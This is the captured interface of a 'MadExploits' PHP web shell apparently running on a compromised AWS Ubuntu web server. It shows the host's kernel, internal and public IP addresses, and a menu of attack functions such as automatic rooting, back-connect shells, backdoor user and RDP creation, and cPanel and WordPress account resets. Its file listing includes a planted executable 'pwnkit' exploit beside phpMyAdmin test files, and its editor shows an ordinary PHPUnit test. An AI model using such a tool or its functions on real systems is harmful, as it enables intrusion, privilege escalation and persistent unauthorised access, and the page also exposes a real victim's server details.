Linux ip-172-31-33-47 5.4.0-1045-aws #47~18.04.1-Ubuntu SMP Tue Apr 13 15:58:14 UTC 2021 x86_64
Apache/2.4.29 (Ubuntu)
: 172.31.33.47 | : 18.117.189.143
Cant Read [ /etc/named.conf ]
7.4.20
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
stage /
phpmyadmin /
tests /
unit /
Utils /
[ HOME SHELL ]
Name
Size
Permission
Action
.mad-root
0
B
-rw-r--r--
ForeignKeyTest.php
3.85
KB
-rw-r--r--
FormatConverterTest.php
3.45
KB
-rw-r--r--
GisTest.php
5.29
KB
-rw-r--r--
HttpRequestTest.php
6.92
KB
-rw-r--r--
SessionCacheTest.php
3.48
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : SessionCacheTest.php
<?php declare(strict_types=1); namespace PhpMyAdmin\Tests\Utils; use PhpMyAdmin\Config; use PhpMyAdmin\Current; use PhpMyAdmin\Utils\SessionCache; use PHPUnit\Framework\Attributes\CoversClass; use PHPUnit\Framework\TestCase; #[CoversClass(SessionCache::class)] class SessionCacheTest extends TestCase { public function testGet(): void { $_SESSION = []; Config::getInstance()->selectedServer['user'] = null; SessionCache::set('test_data', 5); SessionCache::set('test_data_2', 5); self::assertNotNull(SessionCache::get('test_data')); self::assertNotNull(SessionCache::get('test_data_2')); self::assertNull(SessionCache::get('fake_data_2')); } public function testRemove(): void { $_SESSION = []; Config::getInstance()->selectedServer['user'] = null; Current::$server = 2; SessionCache::set('test_data', 25); SessionCache::set('test_data_2', 25); SessionCache::remove('test_data'); self::assertArrayNotHasKey('test_data', $_SESSION['cache']['server_2']); SessionCache::remove('test_data_2'); self::assertArrayNotHasKey('test_data_2', $_SESSION['cache']['server_2']); } public function testSet(): void { $_SESSION = []; Config::getInstance()->selectedServer['user'] = null; Current::$server = 2; SessionCache::set('test_data', 25); SessionCache::set('test_data', 5); self::assertSame(5, $_SESSION['cache']['server_2']['test_data']); SessionCache::set('test_data_3', 3); self::assertSame(3, $_SESSION['cache']['server_2']['test_data_3']); } public function testHas(): void { $_SESSION = []; Config::getInstance()->selectedServer['user'] = null; SessionCache::set('test_data', 5); SessionCache::set('test_data_2', 5); SessionCache::set('test_data_3', false); SessionCache::set('test_data_4', true); self::assertTrue(SessionCache::has('test_data')); self::assertTrue(SessionCache::has('test_data_2')); self::assertTrue(SessionCache::has('test_data_3')); self::assertTrue(SessionCache::has('test_data_4')); self::assertFalse(SessionCache::has('fake_data_2')); } public function testKeyWithoutUser(): void { $_SESSION = []; Config::getInstance()->selectedServer['user'] = null; Current::$server = 123; SessionCache::set('test_data', 5); self::assertArrayHasKey('cache', $_SESSION); self::assertIsArray($_SESSION['cache']); self::assertArrayHasKey('server_123', $_SESSION['cache']); self::assertIsArray($_SESSION['cache']['server_123']); self::assertArrayHasKey('test_data', $_SESSION['cache']['server_123']); self::assertSame(5, $_SESSION['cache']['server_123']['test_data']); } public function testKeyWithUser(): void { $_SESSION = []; Config::getInstance()->selectedServer['user'] = 'test_user'; Current::$server = 123; SessionCache::set('test_data', 5); self::assertArrayHasKey('cache', $_SESSION); self::assertIsArray($_SESSION['cache']); self::assertArrayHasKey('server_123_test_user', $_SESSION['cache']); self::assertIsArray($_SESSION['cache']['server_123_test_user']); self::assertArrayHasKey('test_data', $_SESSION['cache']['server_123_test_user']); self::assertSame(5, $_SESSION['cache']['server_123_test_user']['test_data']); } }
Close